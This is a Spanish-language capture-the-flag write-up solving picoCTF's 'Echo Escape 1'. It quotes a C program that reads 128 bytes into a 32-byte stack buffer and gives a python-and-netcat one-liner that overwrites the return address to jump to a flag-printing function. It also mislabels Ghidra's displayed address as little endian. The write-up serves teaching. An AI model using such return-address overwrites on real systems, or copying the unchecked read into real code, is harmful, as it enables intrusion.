Echo Escape 1 writeup

Descripción

The «secure» echo service welcomes you politely… but what if you don’t stay polite? Can you make it reveal the hidden flag? You can download the program file here and source code.

Echo Escape 1 solución

Al ver el código, tenemos por un lado, un stack buffer overflow:

    char buf[32]; 

    ...

    read(0, buf, 128);

‘buf’ tiene espacio para 32 bytes, pero con read se leen hasta 128, por lo que se pueden sobreescribir las direcciones de memoria adyacentes a buf.

void win() {
    FILE *fp = fopen("flag.txt", "rb");
    if (!fp) {
        perror("[!] Failed to open flag.txt");
        return;
    }

    char buffer[128];
    size_t n = fread(buffer, 1, sizeof(buffer), fp);
    fwrite(buffer, 1, n, stdout);
    fflush(stdout);
    printf("\n");
    fclose(fp);
}

También tenemos la función ‘win()’, la cual no se llama en ningún momento durante la ejecución del programa. Dado que las direcciones de memoria se almacenan en el stack, podemos utilizar estos 96 bytes de margen para introducir la dirección de memoria de win() en el return de la función main() y continuar con la ejecución del programa.

En primer lugar, debemos buscar la dirección de memoria de win(). Para ello usaremos ghidra:

ghidra

Creamos un proyecto e importamos el archivo ‘vuln’. Buscaremos en el menú de la izquierda dentro de las funciones la función ‘win’ y anotaremos su dirección de memoria:

En este caso, la dirección es ‘00401256’ en Little Endian.

En segundo lugar, tenemos que calcular cuanto espacio hay desde la entrada de datos ‘read’ hasta el return de la función. Los datos del stack son:

De hecho, en ghidra podemos ver que desde el puntero base hasta buf hay 0x20 bytes (32 bytes):

Introduciremos los datos suficientes para llegar a la dirección de retorno y ahí sobreescribir con la dirección de entrada de la función win.

Como todo el espacio que necesitamos es menor que los 128 bytes que tenemos de margen para poder insertar el ataque es posible. En este caso, deberemos conectar la salida de python directamente con el servidor para evitar saltos de línea:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*40+b'\x56\x12\x40\x00\x00\x00\x00\x00')" | nc mysterious-sea.picoctf.net 65133

Como ghidra nos ha mostrado la dirección en little endian, tenemos que darle la vuelta en grupos de 2 números, además de añadir un padding de \x00 hasta llegar a 8 grupos en total. Esto se debe a que, al ser un programa de 64 bits. La dirección de memoria debe ser de 8 bytes.

Al ejecutar este comando el servidor nos devolverá la flag:

Completando así el CTF.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *